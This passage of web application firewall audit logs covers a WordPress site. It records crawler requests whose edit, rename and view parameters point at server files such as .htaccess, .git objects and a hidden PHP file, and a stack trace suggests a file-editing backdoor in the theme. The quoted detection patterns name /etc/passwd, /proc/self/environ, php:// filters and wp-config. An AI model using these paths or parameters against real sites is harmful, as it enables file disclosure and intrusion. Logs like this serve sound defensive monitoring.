(squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533986"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f960c13735400c25fe3d5bc70abca293","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":171,"p2":1594,"p3":0,"p4":0,"p5":299,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:46:21.817570 +0100","transaction_id":"abPO3YB2aIMAFdsi8EHy6AAAAsg","remote_address":"216.73.216.152","remote_port":34520,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2F.quarantaine%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3d89147511e54799842a715e9793e084","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9241815"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3d89147511e54799842a715e9793e084","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/\\\\\\\\\\\\\\\\..+\\\\\\\\\\\\\\\\.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"290\"] [id \"430015\"] [msg \"Malware.Expert - request_uri: hidden .php execute\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPO3YB2aIMAFdsi8EHy6AAAAsg\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/\\\\..+\\\\.php\" at REQUEST_URI."},"stopwatch":{"p1":165,"p2":2439,"p3":0,"p4":0,"p5":275,"sr":135,"sw":84,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:46:47.666218 +0100","transaction_id":"abPO9-EAMg66iR7kG38iBQAAA0c","remote_address":"216.73.216.152","remote_port":35912,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fapps.jmkconsulting-ci.com%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"266678fb6f9ed994d513003a8bced8b0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7571640"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"266678fb6f9ed994d513003a8bced8b0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPO9-EAMg66iR7kG38iBQAAA0c\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":220,"p2":3143,"p3":0,"p4":0,"p5":324,"sr":167,"sw":81,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:46:49.580082 +0100","transaction_id":"abPO-YB2aIMAFdsi8EHzOgAAAsI","remote_address":"216.73.216.152","remote_port":57558,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fjmkconsulting.ci%2Fredirection.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"4488b9fd00c3f9e4c9d04cb91a9c9f05","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3248062"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"4488b9fd00c3f9e4c9d04cb91a9c9f05","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPO-YB2aIMAFdsi8EHzOgAAAsI\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":283,"p2":3336,"p3":0,"p4":0,"p5":341,"sr":187,"sw":94,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:51:04.687972 +0100","transaction_id":"abPP-OEAMg66iR7kG38kEgAAA0U","remote_address":"114.119.150.95","remote_port":56170,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/158783951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"bea301a29ba5784830d95103b76354ae","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12715079","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"bea301a29ba5784830d95103b76354ae","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":348,"p2":6571,"p3":0,"p4":0,"p5":294,"sr":366,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:53:10.344917 +0100","transaction_id":"abPQdeEAMg66iR7kG38lNQAAA1M","remote_address":"57.141.20.37","remote_port":50624,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9f/7a66d760804042db37bb493692b6716ad0b3fd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"2d3d30b9d827e170e2406759b546ff50","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5378296"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2d3d30b9d827e170e2406759b546ff50","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9f/7a66d760804042db37bb493692b6716ad0b3fd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":188,"p2":3940,"p3":0,"p4":0,"p5":350,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:53:25.986808 +0100","transaction_id":"abPQhOEAMg66iR7kG38lZQAAA0U","remote_address":"57.141.20.58","remote_port":51782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/t/tw52-color HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"027be962626181fa0af8e0cdb59e00bd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2102119"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"027be962626181fa0af8e0cdb59e00bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tw52-color||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":5212,"p3":0,"p4":0,"p5":302,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:54:11.392757 +0100","transaction_id":"abPQskxHnLkyPWuTIW5fwAAAAYA","remote_address":"114.119.142.37","remote_port":40410,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/156331051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"48179ab7ab37f5e540f44af6760e469a","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12681549","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"48179ab7ab37f5e540f44af6760e469a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":213,"p2":6337,"p3":0,"p4":0,"p5":332,"sr":190,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:54:37.401106 +0100","transaction_id":"abPQzUxHnLkyPWuTIW5f3QAAAYM","remote_address":"57.141.20.12","remote_port":46020,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/87c47a9a8507c0dd4a04bf2ab81dff4c397982 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"e96b8b34fb32d07ecf5db6248a48cfc2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8161301"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e96b8b34fb32d07ecf5db6248a48cfc2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6a/87c47a9a8507c0dd4a04bf2ab81dff4c397982||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":266,"p2":4440,"p3":0,"p4":0,"p5":320,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:54:49.548452 +0100","transaction_id":"abPQ2bJ190y1fElY11brSgAAAII","remote_address":"57.141.20.7","remote_port":43194,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/pap_AW/LC_PAPER HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"c206585806d1cd47cbd5bf1935a4496f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4426877"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c206585806d1cd47cbd5bf1935a4496f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/pap_AW/LC_PAPER||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":3536,"p3":0,"p4":0,"p5":498,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:55:09.912817 +0100","transaction_id":"abPQ7U26I4peWFmz15yrUQAAAUw","remote_address":"57.141.20.43","remote_port":52630,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/usr/base/usr/share/terminfo/x/xterm%20alt47 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"af1e28f0146fbda07edfe3f9920f3c48","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13109191"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"af1e28f0146fbda07edfe3f9920f3c48","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":14778,"p3":0,"p4":0,"p5":346,"sr":170,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:55:45.403741 +0100","transaction_id":"abPREH29rYkRMjwGQQbH-wAAAIM","remote_address":"57.141.20.39","remote_port":52982,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6b/4dc2e3c20c899f50cda160a9fae8ba6af02582 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"b34b338a863437f5bdd886efb448df58","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9540728"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b34b338a863437f5bdd886efb448df58","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6b/4dc2e3c20c899f50cda160a9fae8ba6af02582||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":261,"p2":5474,"p3":0,"p4":0,"p5":231,"sr":130,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:56:07.271848 +0100","transaction_id":"abPRJnhj1Fyg-cNIPtg69wAAA4s","remote_address":"114.119.142.37","remote_port":40648,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/155410151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"5490e4bd475ad789242620cc14fad944","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12029175","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"5490e4bd475ad789242620cc14fad944","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 